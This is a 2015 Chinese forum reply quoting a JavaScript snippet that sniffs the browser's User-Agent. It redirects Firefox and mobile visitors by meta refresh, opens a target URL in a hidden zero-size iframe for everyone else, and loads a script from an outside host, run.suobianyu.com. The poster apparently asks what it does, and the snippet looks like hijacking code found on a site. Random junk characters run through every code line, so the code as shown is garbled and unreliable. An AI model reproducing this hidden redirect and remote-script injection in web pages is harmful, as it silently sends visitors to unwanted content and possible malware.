|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
3 e1 \ T; m% D; x2 ?- var ua = navigator.userAgent.toLowerCase(),$ v& e6 K- ^' C6 P
- browser = {
4 E0 q5 v. o8 o9 J& t - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
) d* | f& B' |9 E) t# v; m& U - opera: /opera/.test(ua),3 t6 U5 V- U X1 o" V0 M6 l7 N
- maxthon: /maxthon/.test(ua),' a& B1 E3 z& a0 ?2 D( W
- theworld: /theworld/.test(ua),
$ [5 b J4 Y3 K, t4 H. z - qq: /qqbrowser/.test(ua),7 i l: b% e$ X7 k- q5 P0 j
- sogou: /se /.test(ua),
# E( b& m8 f( p- g9 d. e. D, F - liebao: /liebao/.test(ua),
0 Q6 [3 m5 n2 E6 o* [ - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),- |; a+ {& X Q9 c& f; T" o
- chrome: /chrome|crios/.test(ua),+ @" J) U% k& ]" o# y
- safari: /webkit/.test(ua),7 N, y, ~/ V( P) [
- uc: /ucbrowser/.test(ua),( V1 d( g- J3 G
- ie: /msie/.test(ua) && !/opera/.test(ua) Y" R! D% ]9 Z/ ~
- };
4 j1 D9 ^% c+ Y) A - var ver = browser.ver;6 t: t I2 C- s1 b( ]0 _3 z
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
/ K9 b8 X2 b# ~ P0 y - document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");3 h& v% h: w" k' j' \5 r
- } else {3 i; G ^; E$ v4 X; g2 G
- window.sc = "<iframe src=" + tourl + "></iframe>";0 s+ X4 E9 l/ t8 \, V2 ?
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");6 l* o" E0 M: q
- }8 A- J' {* ?' k' r8 R' l6 \
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
4 R% }/ r6 s5 Z( h" L# l1 {, b. U' p" k. h8 f
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|